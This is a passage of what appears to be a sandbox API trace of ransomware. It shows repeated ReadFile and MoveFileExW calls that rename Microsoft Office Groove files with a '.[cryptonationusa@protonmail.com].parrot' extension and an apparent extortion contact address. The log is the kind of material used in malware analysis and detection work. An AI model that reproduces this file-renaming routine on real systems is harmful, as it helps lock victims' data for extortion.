lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.090] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.090] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.092] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.092] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ef, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2ef, lpOverlapped=0x0) returned 1 [0193.092] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.098] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.098] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.100] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.100] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13bb, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x13bb, lpOverlapped=0x0) returned 1 [0193.101] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.105] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.106] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.106] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13c5, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x13c5, lpOverlapped=0x0) returned 1 [0193.107] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.111] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.111] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.113] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.113] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8ab, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x8ab, lpOverlapped=0x0) returned 1 [0193.113] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.117] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.117] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.119] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.119] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x858, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x858, lpOverlapped=0x0) returned 1 [0193.119] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.123] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.124] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.125] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.125] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46ff, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x46ff, lpOverlapped=0x0) returned 1 [0193.126] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.131] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.131] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.135] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.136] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4709, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x4709, lpOverlapped=0x0) returned 1 [0193.136] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.141] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.141] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.143] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.143] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5bf, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x5bf, lpOverlapped=0x0) returned 1 [0193.143] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.148] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.148] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.149] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.149] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c9, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x5c9, lpOverlapped=0x0) returned 1 [0193.149] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.153] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.153] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.155] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.155] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1499, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1499, lpOverlapped=0x0) returned 1 [0193.156] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.161] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.161] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.162] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.162] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x638, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x638, lpOverlapped=0x0) returned 1 [0193.163] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticonsmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.167] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.167] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.169] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.169] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26b4, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x26b4, lpOverlapped=0x0) returned 1 [0193.170] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form_edit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form_edit.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.174] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.174] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.175] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.176] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14316, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x14316, lpOverlapped=0x0) returned 1 [0193.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.182] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.182] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.183] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.183] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x267, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x267, lpOverlapped=0x0) returned 1 [0193.183] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\launch.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\launch.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.233] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.233] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.235] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.235] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30074, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x30074, lpOverlapped=0x0) returned 1 [0193.239] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\macroprogress.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\macroprogress.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.253] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.253] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.254] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.254] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x275e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x275e, lpOverlapped=0x0) returned 1 [0193.255] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\publicfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\publicfunctions.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.262] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.262] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.263] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.263] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x350, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x350, lpOverlapped=0x0) returned 